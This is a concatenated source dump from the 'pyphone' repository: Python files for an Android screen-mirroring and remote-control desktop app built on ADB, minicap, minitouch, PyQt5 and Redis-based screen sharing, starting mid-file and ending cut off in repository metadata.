MODE_CUSTOMER = 1\n\n FRAME_QUEUE_PREFIX = \"pp-frame:\"\n TOUCH_QUEUE_PREFIX = \"pp-touch:\"\n\n CMD_STOP = \"!STOP\"\n\n def __init__(self, on_rpc_event, mode=MODE_PRODUCER):\n threading.Thread.__init__(self)\n self.redis_client = None\n # self.signal = None\n self.stop_flag = True\n self.on_rpc_event = on_rpc_event\n self.frame_queue = self.FRAME_QUEUE_PREFIX\n self.touch_queue = self.TOUCH_QUEUE_PREFIX\n self.max_frame_queue_size = self.QUEUE_SIZE_LIMIT\n self.share_id = self.MIN_SHARE_ID\n self.mode = mode\n self.first_frame = True\n\n self.signal = IpcSignal()\n self.signal.rpc_event.connect(self.on_rpc_event)\n\n @classmethod\n def make_queue(cls, share_id):\n return \"%s%d\" % (cls.FRAME_QUEUE_PREFIX, share_id), \"%s%d\" % (cls.TOUCH_QUEUE_PREFIX, share_id)\n\n def make_share_id(self):\n share_id = self.MIN_SHARE_ID\n tmp_frame_queue, tmp_touch_queue = self.frame_queue, self.touch_queue\n try_limit = 10\n i = 0\n for i in range(try_limit):\n tmp_frame_queue, tmp_touch_queue = self.make_queue(share_id)\n if not (self.redis_client.exists(tmp_frame_queue) or self.redis_client.exists(tmp_touch_queue)):\n break\n else:\n logger.debug(\"oh, already exists: %s, %s\" % (tmp_frame_queue, tmp_touch_queue))\n share_id = randint(self.MIN_SHARE_ID, self.MAX_SHARE_ID)\n logger.debug(\"use queue: %s, %s\" % (tmp_frame_queue, tmp_touch_queue))\n logger.debug(\"i is %d\" % i)\n assert i < try_limit, \"!!!!!!! i tried !!!!!!!\"\n\n return share_id\n\n def is_valid_share_id(self, share_id):\n return self.MIN_SHARE_ID <= share_id <= self.MAX_SHARE_ID\n\n def get_mode(self):\n return self.mode\n\n def is_producer(self):\n return self.mode == self.MODE_PRODUCER\n\n def is_first_frame(self):\n return self.first_frame\n\n def set_first_frame(self, b):\n self.first_frame = b\n\n def get_share_id(self):\n return self.share_id\n\n def connect(self, host, port, db):\n logger.debug(\"Trying to connect redis server: %s:%s/%d\" % (host, port, db))\n self.redis_client = redis.StrictRedis(host=host, port=int(port),\n db=db, socket_keepalive=True,\n socket_connect_timeout=0.3)\n ret = True\n try:\n self.redis_client.ping()\n logger.debug(\"connected\")\n except redis.exceptions.TimeoutError:\n logger.error(\"timeout\")\n ret = False\n except redis.exceptions.ConnectionError:\n logger.error(\"fail to connect redis server\")\n ret = False\n finally:\n if not ret:\n self.redis_client = None\n\n return ret\n\n def customer_init(self, host, port, db=3, share_id=MIN_SHARE_ID):\n ret = self.connect(host, port, db)\n if ret:\n self.stop_flag = False\n self.share_id = share_id\n return ret\n\n def producer_init(self, host, port, db=3):\n ret = self.connect(host, port, db)\n if not ret:\n return ret, -1\n self.stop_flag = False\n self.share_id = self.make_share_id()\n self.frame_queue, self.touch_queue = self.make_queue(self.share_id)\n logger.debug(\"Redis server connected\")\n return True, self.share_id\n\n def producer_run(self):\n while not self.stop_flag:\n try:\n data = self.redis_client.rpop(self.touch_queue)\n except UnicodeDecodeError as err:\n data = None\n logger.warning(\"rpop data error: %s\" % err)\n if data:\n op_dict = json.loads(data)\n logger.debug(\"touch event: %s\" % op_dict)\n self.signal.rpc_event.emit(IpcSignal.SIG_TOUCH, op_dict)\n\n def customer_run(self, share_id=MIN_SHARE_ID):\n if self.redis_client is None:\n logger.error(\"redis not connected\")\n return False\n self.frame_queue, self.touch_queue = self.make_queue(share_id)\n # 此时不检查队列是否存在,因为可能消费者先启动了(使用末默认的共享id,碰巧也能工作)\n logger.debug(\"customer is running, using queue: %s, %s\" % (self.frame_queue, self.touch_queue))\n while not self.stop_flag:\n data = self.redis_client.rpop(self.frame_queue)\n if data:\n self.signal.rpc_event.emit(IpcSignal.SIG_FRAME, data)\n\n def run(self):\n if self.mode == self.MODE_PRODUCER:\n self.producer_run()\n elif self.mode == self.MODE_CUSTOMER:\n self.customer_run()\n else:\n logger.error(\"bad mode, should be %d or %d\" % (self.MODE_CUSTOMER, self.MODE_PRODUCER))\n\n def push_frame(self, frame):\n if not self.redis_client:\n return False\n self.redis_client.lpush(self.frame_queue, frame)\n self.redis_client.ltrim(self.frame_queue, 0, self.max_frame_queue_size)\n return True\n\n def push_cmd(self, cmd):\n if not self.redis_client:\n return False\n self.redis_client.lpush(cmd)\n return True\n\n def stop(self):\n if self.redis_client:\n self.stop_flag = True\n self.redis_client.delete(self.frame_queue)\n self.redis_client.delete(self.touch_queue)\n self.redis_client = None\n" }, { "alpha_fraction": 0.6422139406204224, "alphanum_fraction": 0.6452888250350952, "avg_line_length": 28, "blob_id": "b103fca43655cb734fcf88bf8920a0bdd0760379", "content_id": "47fdab184b5298678e52539d6df9af921b20f074", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4579, "license_type": "no_license", "max_line_length": 142, "num_lines": 157, "path": "/adb_helper.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport sys\nfrom ppadb.client import Client as AdbClient\nfrom logger import logger\nimport config\nimport share\nimport util\n\nclient = AdbClient(host=config.ADB_HOST, port=config.ADB_PORT)\ntry:\n devices = client.devices()\nexcept RuntimeError:\n logger.error(\"Adb server not started\")\n sys.exit(-1)\nelse:\n if not devices:\n logger.error(\"No any device\\bPlease connect your phone and turn on the USB debug mode!\")\n sys.exit(-1)\n\n\ndef device_connected(f):\n def inner_func(*args, **kwargs):\n if current_device() is None:\n print(\"No any device connected\")\n return\n try:\n return f(*args, **kwargs)\n except RuntimeError:\n print(\"Maybe lost device connection\")\n return\n\n return inner_func\n\n\ndef device_serial_no_list():\n if config.DEBUG:\n return [\"8BKX1BBRW\", \"a\", \"b\", \"c\"]\n return [device.get_serial_no() for device in devices]\n\n\ndef choose_device(serial_no):\n logger.debug(\"choose device:%s\" % serial_no)\n share.current_device = client.device(serial_no)\n return share.current_device\n\n\ndef current_device():\n return share.current_device\n\n\n@device_connected\ndef device_real_size():\n size = current_device().wm_size()\n return size.width, size.height\n\n\n@device_connected\ndef kill(pid, device=None):\n if pid is None or not pid.isdigit():\n return False\n if device is None:\n device = current_device()\n if device is None:\n return False\n return device.shell(\"kill -9 %s\" % pid) == \"\" if device else False\n\n\n@device_connected\ndef p_kill(process):\n device = current_device()\n pid = device.get_pid(process)\n return kill(pid, device)\n\n\n@device_connected\ndef start_mini_touch(port=config.MINITOUCH_PORT):\n device = current_device()\n if device.get_pid(config.MINITOUCH):\n return True\n device.forward(\"tcp:%d\" % port, \"localabstract:%s\" % config.MINITOUCH)\n util.start_in_progress(device.shell, (config.MINITOUCH_PATH, ))\n return True\n\n\n@device_connected\ndef start_mini_cap(port=config.MINICAP_PORT, angle=0, virtual_width=config.DEFAULT_WIDTH):\n device = current_device()\n pid = device.get_pid(config.MINICAP)\n if pid:\n return True\n real_width, real_height = device_real_size()\n rate = real_height / real_width\n virtual_height = int(rate * virtual_width)\n device.forward(\"tcp:%d\" % port, \"localabstract:%s\" % config.MINICAP)\n cmd = \"LD_LIBRARY_PATH={ld_library_path} {minicap_path} -P {real_width}x{real_height}@{virtual_width}x{virtual_height}/{angle} -S\".format(\n ld_library_path=config.ANDROID_TMP_PATH, minicap_path=config.MINICAP_PATH,\n real_width=real_width, real_height=real_height,\n virtual_width=virtual_width, virtual_height=virtual_height,\n angle=angle)\n logger.debug(\"start minicap by cmd:\\n%s\" % cmd)\n util.start_in_progress(device.shell, (cmd, ))\n return True\n\n\n@device_connected\ndef restart_mini_cap(port=config.MINICAP_PORT, angle=0, virtual_width=config.DEFAULT_WIDTH):\n device = current_device()\n pid = device.get_pid(config.MINICAP)\n if pid:\n kill(pid, device)\n return start_mini_cap(port, angle, virtual_width)\n\n\n@device_connected\ndef start_rotation_watcher(pipe_file):\n device = current_device()\n pid = device.get_pid(\"app_process\")\n if pid:\n logger.debug(\"RotationWatcher already started\")\n return True\n\n class_path = device.shell(\"pm path jp.co.cyberagent.stf.rotationwatcher | tr -d '\\r' | cut -d: -f 2\")\n if not class_path:\n return False\n class_path = class_path.strip()\n cmd = \"\\\"export CLASSPATH={class_path}; exec app_process /system/bin \" \\\n \"jp.co.cyberagent.stf.rotationwatcher.RotationWatcher\\\" > {pipe_file}\".format(class_path=class_path,\n pipe_file=pipe_file)\n logger.debug(cmd)\n util.start_in_progress(target=device.shell, args=(cmd, ))\n\n return True\n\n\n@device_connected\ndef input_text(text):\n device = current_device()\n device.input_text(text)\n\n\ndef rotation(device=None):\n \"\"\"获取当前手机屏幕方向:0竖 1横\"\"\"\n if device is None:\n device = current_device()\n if device is None:\n return 0\n s = device.shell(\"dumpsys input | grep 'SurfaceOrientation' | awk '{print $2}'\").strip()\n try:\n return int(s)\n except ValueError:\n return 0\n\n\n@device_connected\ndef shell(param):\n device = current_device()\n return device.shell(param)\n" }, { "alpha_fraction": 0.5956641435623169, "alphanum_fraction": 0.5983597040176392, "avg_line_length": 37.746665954589844, "blob_id": "3ed1d3118c06b1cefbc07682c316319911eae87c", "content_id": "d5733e51ebe6957df1760cf3421deb69a0b8a979", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 17572, "license_type": "no_license", "max_line_length": 118, "num_lines": 450, "path": "/widgets/main_window.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport os\nimport threading\nimport time\nimport multiprocessing\nfrom collections import deque\nfrom lang import _\nfrom PyQt5 import QtWidgets, QtGui\nfrom PyQt5 import QtCore\n\nfrom ui.ui_mainwindow import Ui_MainWindow\nfrom cap_screen import CapScreen\nfrom rotation_watcher import RotationWatcher\nfrom logger import logger\nfrom recorder import recorder\nfrom ipc import Ipc, IpcSignal\nfrom key_event import KeyEvent\nfrom widgets.toast import Toast\nimport remote_screen\nimport adb_helper\nimport version\nimport config\n\n\nclass MainWindow(QtWidgets.QMainWindow):\n\n def __init__(self, parent=None):\n QtWidgets.QMainWindow.__init__(self, parent)\n self.ui = Ui_MainWindow()\n self.setup_ui()\n self.ui.screen.set_disconnect_callback(self.on_disconnected)\n self.setup_signal()\n self.cap_screen = None\n self.queue = multiprocessing.Queue()\n self.starting_dialog = None\n self.timer = None\n self.check_code = -1\n self.recording = False\n self.record_frames = []\n self.record_timer = QtCore.QTimer()\n self.record_timer.timeout.connect(self.on_record_timeout)\n self.mini_cap_head = None\n self.ipc = None\n # 是否连接过本地手机\n self.cap_used = False\n self.is_first_start = True\n self.customer_running = False\n self.device_name = \"\"\n self.angle = 0\n self.virtual_width = config.DEFAULT_WIDTH\n self.rotation_watcher = None\n self.share_proc = None\n self.share_val = multiprocessing.Value(\"i\", 0)\n\n self.frame_timer = None\n self.frame_queue = deque()\n\n self.donate_scene = QtWidgets.QGraphicsScene(self)\n self.donate_view = QtWidgets.QGraphicsView(self.donate_scene)\n self.donate_view.setWindowTitle(_(\"Donate\"))\n self.donate_scene.addItem(QtWidgets.QGraphicsPixmapItem(QtGui.QPixmap(\":/app/icons/app/donate.jpg\")))\n\n def on_image_quality_action_triggered(self, checked, width, height):\n \"\"\"选择画质\"\"\"\n logger.debug(\"select image quality %dx%d\" % (width, height))\n if width == self.virtual_width:\n return\n self.on_rotation_changed(self.angle, width)\n self.virtual_width = width\n\n def on_device_action_triggered(self, checked, serial_no):\n \"\"\"选择一个设备\"\"\"\n adb_helper.choose_device(serial_no)\n self.setWindowTitle(\"pyphone(%s)\" % serial_no)\n self.ui.actionStart.setEnabled(True)\n real_width, real_height = adb_helper.device_real_size()\n assert real_height > 0, \"Ops! real_height less than 0!\"\n rate = real_height / real_width\n if real_width not in config.IMAGE_QUALITIES:\n config.IMAGE_QUALITIES.append(real_width)\n logger.debug(\"Image qualities: %s\" % config.IMAGE_QUALITIES)\n self.ui.menuImageQuality.clear()\n for width in config.IMAGE_QUALITIES:\n height = int(rate * width)\n widget = QtWidgets.QRadioButton(\"%dx%d\" % (width, height), self)\n if width == config.DEFAULT_WIDTH:\n widget.setChecked(True)\n action = QtWidgets.QWidgetAction(self)\n action.setDefaultWidget(widget)\n widget.clicked.connect(lambda checked_, width_=width, height_=height:\n self.on_image_quality_action_triggered(checked_, width_, height_))\n self.ui.menuImageQuality.addAction(action)\n\n def setup_ui(self):\n self.ui.setupUi(self)\n serial_no_list = adb_helper.device_serial_no_list()\n logger.debug(\"devices: %s\" % serial_no_list)\n # 只有一个设备时,默认选中\n if len(serial_no_list) == 1:\n self.on_device_action_triggered(True, serial_no_list[0])\n for sn in serial_no_list:\n action = QtWidgets.QAction(sn, self)\n action.triggered.connect(lambda checked_, sn_=sn, action_=action:\n self.on_device_action_triggered(checked_, sn_))\n self.ui.menuDevices.addAction(action)\n\n def setup_signal(self):\n self.ui.actionStart.triggered.connect(self.on_action_start)\n self.ui.actionVertical.triggered.connect(lambda triggered, angle=0: self.on_rotation_changed(angle))\n self.ui.actionHorizontal.triggered.connect(lambda triggered, angle=90: self.on_rotation_changed(angle))\n self.ui.actionStop.triggered.connect(self.on_action_stop)\n self.ui.actionMenu.triggered.connect(KeyEvent.menu)\n self.ui.actionHome.triggered.connect(KeyEvent.home)\n self.ui.actionBack.triggered.connect(KeyEvent.back)\n self.ui.actionLock_Unlocak.triggered.connect(KeyEvent.lock_unlock)\n self.ui.actionSend_text.triggered.connect(self.on_action_send_text)\n self.ui.actionRecorder.triggered.connect(self.on_action_recorder)\n self.ui.actionShare.triggered.connect(self.on_action_share)\n self.ui.actionRemote_screen.triggered.connect(self.on_action_remote_screen)\n self.ui.actionAbout.triggered.connect(self.on_action_about)\n self.ui.actionDonate.triggered.connect(self.on_action_donate)\n self.ui.actionQuit.triggered.connect(self.close)\n\n def update_ui_on_started(self, enable=True):\n self.ui.actionStart.setEnabled(not enable)\n self.ui.actionStop.setEnabled(enable)\n self.ui.actionShare.setEnabled(enable)\n self.ui.menuEdit.setEnabled(enable)\n self.ui.menuDevices.setEnabled(not enable)\n\n def update_ui_on_stopped(self):\n self.update_ui_on_started(enable=False)\n\n def show_starting_dialog(self, title=_(\"First start\"),\n text=_(\"Init env, please wait(about 6 seconds)...\"),\n cap_start=False):\n logger.debug(\"show starting dialog\")\n if self.timer:\n return\n max_value = 30\n self.timer = QtCore.QTimer()\n self.starting_dialog = QtWidgets.QProgressDialog(self)\n self.starting_dialog.setWindowModality(QtCore.Qt.ApplicationModal)\n self.starting_dialog.setWindowTitle(title)\n self.starting_dialog.setLabelText(text)\n self.starting_dialog.setMaximum(max_value)\n self.starting_dialog.setCancelButton(None)\n\n def on_start_up_timer():\n value = self.starting_dialog.value()\n self.starting_dialog.setValue(value + 1)\n pid = adb_helper.current_device().get_pid(config.MINICAP)\n if pid:\n logger.debug(\"minicap pid is %s\" % pid)\n if not cap_start:\n self.dismiss_starting_dialog()\n return\n self.dismiss_starting_dialog()\n self.on_action_start(ready=True)\n mini_touch_pid = adb_helper.current_device().get_pid(config.MINITOUCH)\n logger.debug(\"minitouch pid is %s\" % mini_touch_pid)\n elif value >= max_value - 1:\n self.dismiss_starting_dialog()\n QtWidgets.QMessageBox.critical(\n self, _(config.TITLE_ERROR),\n _(\"Fatal error occurred, please restart\"))\n self.close()\n\n self.timer.timeout.connect(on_start_up_timer)\n self.timer.start(100)\n self.starting_dialog.show()\n\n def dismiss_starting_dialog(self):\n logger.debug(\"dismiss starting dialog\")\n self.starting_dialog.close()\n if self.timer:\n self.timer.stop()\n self.timer = None\n\n def on_action_stop(self):\n if self.cap_screen is None:\n return\n self.cap_screen.stop()\n self.on_action_disable_share()\n self.cap_screen = None\n self.rotation_watcher.stop()\n\n self.update_ui_on_stopped()\n\n def on_screenshots_result(self, filename, show_toast=True):\n if show_toast:\n Toast.show_(self, _(\"Saved: %s\") % filename)\n\n def on_action_start(self, ready=False):\n if not ready:\n self.rotation_watcher = RotationWatcher(self.on_rotation_changed, self.queue, adb_helper.current_device())\n self.rotation_watcher.start()\n adb_helper.start_mini_touch()\n self.show_starting_dialog(cap_start=True)\n return\n\n self.cap_screen = CapScreen(self.on_start_result,\n self.on_mini_cap_head,\n self.on_frame,\n self.on_mini_touch_connect_result,\n self.on_screenshots_result,\n self.ui.screen,\n config.MINICAP_HOST,\n config.MINICAP_PORT)\n\n self.cap_screen.start_()\n self.cap_used = True\n self.ui.actionStart.setEnabled(False)\n self.ui.actionScreenshots.triggered.connect(self.cap_screen.screenshots)\n\n def on_start_result(self, ret):\n if ret == 0:\n self.update_ui_on_started()\n else:\n self.dismiss_starting_dialog()\n QtWidgets.QMessageBox.critical(\n self, _(config.TITLE_ERROR),\n _(\"Connect failed, please retry after reset your USB line\"))\n self.close()\n\n def on_mini_touch_connect_result(self, ret):\n if not ret:\n QtWidgets.QMessageBox.warning(\n self, _(config.TITLE_WARNING),\n _(\"Fail to connect minitouch\\nThe screen is OK, but you couldn't control\"))\n\n def on_mini_cap_head(self, head):\n if not head:\n return\n self.mini_cap_head = head\n w, h = adb_helper.device_real_size()\n self.ui.screen.set_real_size(w, h)\n self.setFixedSize(self.sizeHint())\n\n def on_frame(self, frame):\n self.ui.screen.refresh(frame)\n if self.ipc:\n # 注意:只有在producer模式下\n if self.ipc.is_producer():\n self.frame_queue.append(frame)\n if self.recording:\n if frame:\n self.record_frames.append(frame)\n\n def closeEvent(self, event):\n if self.cap_screen:\n self.cap_screen.stop()\n\n adb_helper.p_kill(config.MINICAP)\n adb_helper.p_kill(config.MINITOUCH)\n if self.rotation_watcher:\n self.rotation_watcher.stop()\n\n if self.ipc:\n self.ipc.stop()\n\n if self.share_proc:\n self.on_disconnect_remote_screen()\n\n event.accept()\n\n def on_rotation_changed(self, angle, virtual_width=config.DEFAULT_WIDTH):\n logger.debug(\"on_rotation_changed. angle={}\".format(angle))\n self.angle = angle\n if self.cap_screen:\n self.cap_screen.stop()\n adb_helper.restart_mini_cap(angle=angle, virtual_width=virtual_width)\n self.ui.screen.set_orientation(angle)\n self.show_starting_dialog(title=_(\"Rotating\"), text=_(\"Adapting screen rotation, wait about 3 seconds\"),\n cap_start=True)\n\n def on_disconnected(self):\n self.on_action_stop()\n self.setWindowTitle(version.app_name)\n QtWidgets.QMessageBox.critical(\n self, _(\"Disconnected\"),\n _(\"USB line pulled out or you closed USB-DEBUG mode\"))\n\n def on_rpc_event(self, sig_id, data):\n if sig_id == IpcSignal.SIG_TOUCH:\n if self.cap_screen:\n # now data is a operation dict\n self.cap_screen.handle_rpc_event(data)\n elif sig_id == IpcSignal.SIG_FRAME:\n # now data is a jpg buffer\n self.on_frame(data)\n\n def on_action_send_text(self):\n \"\"\"向设备发送文本\"\"\"\n if not self.cap_screen:\n return\n text, ret = QtWidgets.QInputDialog.getText(self, _(\"Send text\"), _(\"Please input the content\"))\n if not ret:\n return\n self.cap_screen.touch.send_text(text)\n\n def on_disconnect_remote_screen(self):\n self.share_val.value = 1\n self.share_proc = None\n logger.debug(\"kill share process\")\n self.ui.actionRemote_screen.setText(_(\"Connect remote screen...\"))\n\n def on_action_remote_screen(self):\n if self.share_proc:\n return self.on_disconnect_remote_screen()\n\n share_id, ret = QtWidgets.QInputDialog.getInt(\n self, _(\"Remote share\"), _(\"Please input your share id\"), value=Ipc.MIN_SHARE_ID)\n if not ret:\n return\n frame_queue, tmp = Ipc.make_queue(share_id)\n self.share_val.value = 0\n self.share_proc = multiprocessing.Process(target=remote_screen.start, args=(self.share_val, frame_queue, ))\n self.share_proc.start()\n Toast.show_(self, _(\"Remote screen started, waiting frame ...\"))\n logger.debug(\"remote screen started, pid: %d\" % self.share_proc.pid)\n self.ui.actionRemote_screen.setText(_(\"Disconnect remote screen...\"))\n\n def update_frame_in_timer(self):\n size = len(self.frame_queue)\n if size < 1:\n return\n elif size > 4:\n self.frame_queue.popleft()\n\n if self.ipc:\n self.ipc.push_frame(self.frame_queue.popleft())\n\n def on_action_share(self):\n if self.ipc is None:\n self.on_action_enable_share()\n else:\n self.on_action_disable_share()\n\n def on_action_enable_share(self):\n if not self.cap_screen:\n return\n\n self.ipc = Ipc(self.on_rpc_event)\n ret, share_id = self.ipc.producer_init(config.REDIS_HOST, config.REDIS_PORT, config.REDIS_DB)\n if not ret:\n QtWidgets.QMessageBox.critical(\n self, _(config.TITLE_ERROR),\n _(\"Fail to connect redis server\\n%s:%d\" % (config.REDIS_HOST, config.REDIS_PORT)))\n self.ipc = None\n return\n\n # 若定时器未初始化过,则先初始化并绑定信号槽\n if self.frame_timer is None:\n self.frame_timer = QtCore.QTimer()\n self.frame_timer.timeout.connect(self.update_frame_in_timer)\n\n self.frame_queue.clear()\n self.frame_timer.start(10)\n\n self.set_tip_message(_(\"Sharing with ID: %d\") % share_id)\n self.ipc.start()\n\n self.ui.actionShare.setText(_(\"Disable share\"))\n\n def on_action_disable_share(self):\n if self.ipc is None:\n logger.error(\"self.ipc is None\")\n return\n self.frame_timer.stop()\n self.ipc.stop()\n self.ipc = None\n self.set_tip_message(\"\")\n\n self.ui.actionShare.setText(_(\"Enable share\"))\n\n def on_action_about(self):\n QtWidgets.QMessageBox.information(self, _(\"About\"), version.about)\n\n def on_action_donate(self):\n self.donate_view.move(self.x() + self.width(), self.y())\n self.donate_view.show()\n\n def on_record_timeout(self):\n self.on_record()\n\n def on_action_recorder(self):\n if self.recording:\n self.on_action_stop_recorder()\n else:\n self.on_action_start_recorder()\n\n def on_action_start_recorder(self):\n if len(self.record_frames) > 0:\n QtWidgets.QMessageBox.critical(\n self, _(config.TITLE_INFO),\n _(\"Please try after current video been saved\"))\n return\n self.record_timer.start(config.MAX_RECORD_MIN * 60 * 1000)\n self.recording = True\n self.set_tip_message(_(\"Recording (time limit %d min)...\") % config.MAX_RECORD_MIN)\n mp4file = os.path.join(config.VIDEO_DIR, time.strftime(\"%y-%m-%d/%H-%M-%S.mp4\"))\n _dir = os.path.dirname(mp4file)\n if not os.path.exists(_dir):\n try:\n os.makedirs(_dir)\n except OSError as err:\n logger.error(\"fail to create video path: %s\" % err)\n mp4file = \"tmp.mp4\"\n orientation = self.ui.screen.get_orientation()\n if orientation == self.ui.screen.VERTICAL:\n logger.debug(\"VERTICAL recorder\")\n width, height = self.mini_cap_head.virtual_width, self.mini_cap_head.virtual_height\n else:\n logger.debug(\"HORIZONTAL recorder\")\n width, height = self.mini_cap_head.virtual_height, self.mini_cap_head.virtual_width\n recorder.init(mp4file, 40, width, height)\n self.record_frames = []\n\n self.ui.actionRecorder.setText(_(\"Stop video recorder ...\"))\n\n def on_action_stop_recorder(self):\n self.recording = False\n if self.record_timer.isActive():\n self.record_timer.stop()\n\n if len(self.record_frames) < 1:\n QtWidgets.QMessageBox.critical(self, _(config.TITLE_ERROR), _(\"No any frame, your screen didn't change!\"))\n self.set_tip_message(\"\")\n self.ui.actionRecorder.setText(_(\"Start video recorder ...\"))\n return\n\n self.set_tip_message(_(\"Saving video ...\"))\n self.ui.actionRecorder.setEnabled(self.recording)\n\n def save_task(frames):\n recorder.write_frames(frames)\n mp4file = recorder.finish()\n self.set_tip_message(\"%s\" % mp4file.replace(\"\\\\\", \"/\"))\n self.record_frames = []\n self.ui.actionRecorder.setEnabled(not self.recording)\n self.ui.actionRecorder.setText(_(\"Start video recorder ...\"))\n\n task = threading.Thread(target=save_task, args=(self.record_frames,))\n task.start()\n\n def set_tip_message(self, text):\n if text == \"\":\n text = \"%s(%s)\" % (version.app_name, self.device_name)\n self.setWindowTitle(text)\n" }, { "alpha_fraction": 0.5649417638778687, "alphanum_fraction": 0.5717234015464783, "avg_line_length": 31.454545974731445, "blob_id": "b688e51d7fc00b78e8c5ac7c819073bf609e1302", "content_id": "25279118977448e842c985f9ee02bc59ecd9b149", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6883, "license_type": "no_license", "max_line_length": 104, "num_lines": 209, "path": "/cap_screen.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport os\nimport time\nimport threading\nimport socket\nimport struct\nimport select\nfrom PyQt5 import QtCore\nfrom touch import Touch\nfrom logger import logger\nimport adb_helper\n\n# 不要修改这两个参数,除非minicap协议变更!\nMINICAP_HEAD_SIZE = 24\nMINICAP_HEAD_UNPACK_FMT = \"<BBIIIIIBB\"\n\n\ndef safe_receive(sock, n):\n if sock is None:\n return\n count = 0\n buff_list = []\n while count < n:\n try:\n rs, _, es = select.select([sock], [], [sock], 100)\n except ValueError as err:\n logger.debug(\"value error: %s\" % err)\n return\n except OSError as err:\n logger.debug(\"os error: %s\" % err)\n return\n if len(es) > 0:\n logger.error(\"socket error\")\n return\n elif len(rs) > 0:\n if sock.fileno() != -1:\n try:\n buff = sock.recv(min(8192, n - count))\n except OSError as err:\n logger.error(\"%s\" % err)\n return\n count += len(buff)\n buff_list.append(buff)\n else:\n logger.error(\"socket fileno is -1\")\n return\n\n return b\"\".join(buff_list)\n\n\nclass CapScreenSignal(QtCore.QObject):\n\n connect_result = QtCore.pyqtSignal(int)\n minicap_head = QtCore.pyqtSignal(object)\n frame = QtCore.pyqtSignal(bytes)\n minitouch_connect_result = QtCore.pyqtSignal(bool)\n screenshots = QtCore.pyqtSignal(str, bool)\n\n def __init__(self):\n QtCore.QObject.__init__(self)\n\n\nclass MinicapHead:\n def __init__(self, buff):\n\n assert len(buff) == MINICAP_HEAD_SIZE, \"fatal: bad buff!!\"\n self.version, self.head_size, self.pid, self.real_width, \\\n self.real_height, self.virtual_width, self.virtual_height, self.orientation, self.bit_flag \\\n = struct.unpack(MINICAP_HEAD_UNPACK_FMT, buff)\n\n def __repr__(self):\n return \"\"\"Version: {version}\nHead size: {head_size}\nPid: {pid}\nReal width: {real_width}\nReal height: {real_height}\nVirtual width: {virtual_width}\nVirtual height: {virtual_height}\nOrientation: {orientation}\nBit flag: {bit_flag}\"\"\".format(version=self.version, head_size=self.head_size,\n pid=self.pid, real_width=self.real_width,\n real_height=self.real_height, virtual_width=self.virtual_width,\n virtual_height=self.virtual_height,\n orientation=self.orientation, bit_flag=self.bit_flag)\n\n\nclass CapScreen(threading.Thread):\n\n def __init__(self,\n on_connect_result,\n on_mini_cap_head,\n on_frame,\n on_mini_touch_connect_result,\n on_screenshots_result,\n screen,\n host=\"127.0.0.1\",\n port=8081):\n threading.Thread.__init__(self)\n self.signal = CapScreenSignal()\n self.signal.connect_result.connect(on_connect_result)\n self.signal.minicap_head.connect(on_mini_cap_head)\n self.signal.frame.connect(on_frame)\n self.signal.minitouch_connect_result.connect(on_mini_touch_connect_result)\n self.signal.screenshots.connect(on_screenshots_result)\n self.tcpSocket = None\n self.touch = None\n self.host = host\n self.port = port\n self.touch_port = port + 1\n self.head = None\n self.screen = screen\n self.frame_buff = None\n\n def start_(self):\n # 以下注释代码仅用于开发者调试,请勿打开\n # if util.init_minicap(self.port):\n # return\n # if util.init_minitouch(self.port + 1):\n # return\n logger.debug(\"cap screen start\")\n self.tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.tcpSocket.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 262144)\n self.tcpSocket.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 262144)\n self.tcpSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n # TCP_NODELAY在linux系统下可能会要求root权限,先屏蔽\n # self.tcpSocket.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)\n\n self.tcpSocket.settimeout(1)\n ret = self.tcpSocket.connect_ex((self.host, self.port))\n if ret != 0:\n # todo:\n pass\n self.tcpSocket.setblocking(False)\n self.signal.connect_result.emit(ret)\n self.start()\n\n self.touch = Touch()\n ret = self.touch.start(self.host, self.touch_port)\n if not ret:\n self.signal.minitouch_connect_result.emit(False)\n else:\n self.screen.bind_touch(self.touch)\n\n def run(self):\n self.head = self.parse_head()\n self.signal.minicap_head.emit(self.head)\n while self.tcpSocket:\n n_buff = safe_receive(self.tcpSocket, 4)\n if n_buff is None:\n break\n n = struct.unpack(\"I\", n_buff)[0]\n self.frame_buff = safe_receive(self.tcpSocket, n)\n if self.frame_buff is None:\n break\n else:\n self.signal.frame.emit(self.frame_buff)\n\n self.stop()\n\n def parse_head(self):\n buff = safe_receive(self.tcpSocket, MINICAP_HEAD_SIZE)\n if buff is None:\n pass\n else:\n return MinicapHead(buff)\n\n def save_screenshots(self, frame, filepath, show_toast=True):\n logger.debug(\"save screenshots to %s\" % filepath)\n path = os.path.dirname(filepath)\n if not os.path.exists(path):\n os.makedirs(path)\n with open(filepath, \"wb\") as fp:\n fp.write(frame)\n self.signal.screenshots.emit(filepath, show_toast)\n\n def screenshots(self, filepath, show_toast=True):\n if not self.frame_buff:\n return False\n if not filepath:\n filepath = \"./screenshots/{date}/{time}.jpg\".format(\n date=time.strftime(\"%y-%m-%d\"), time=time.strftime(\"%H-%M-%S\"))\n t = threading.Thread(target=self.save_screenshots, args=(self.frame_buff, filepath, show_toast))\n t.start()\n\n return True\n\n def is_connected(self):\n return self.tcpSocket is not None\n\n def handle_rpc_event(self, op_dict):\n if not self.touch:\n return False\n\n cmd = op_dict.get(\"cmd\")\n if cmd == \"screenshots\":\n self.screenshots(op_dict.get(\"filepath\"), show_toast=False)\n elif cmd == \"shell\":\n adb_helper.shell(op_dict.get(\"param\"))\n else:\n self.touch.op(op_dict)\n\n def stop(self):\n if self.tcpSocket:\n self.tcpSocket.close()\n self.tcpSocket = None\n self.signal.frame.emit(b\"\")\n\n if self.touch:\n self.touch.close_socket()\n" }, { "alpha_fraction": 0.42097026109695435, "alphanum_fraction": 0.44548773765563965, "avg_line_length": 25.625, "blob_id": "98f3bff58e6617caccd9444d9fb921f24692675d", "content_id": 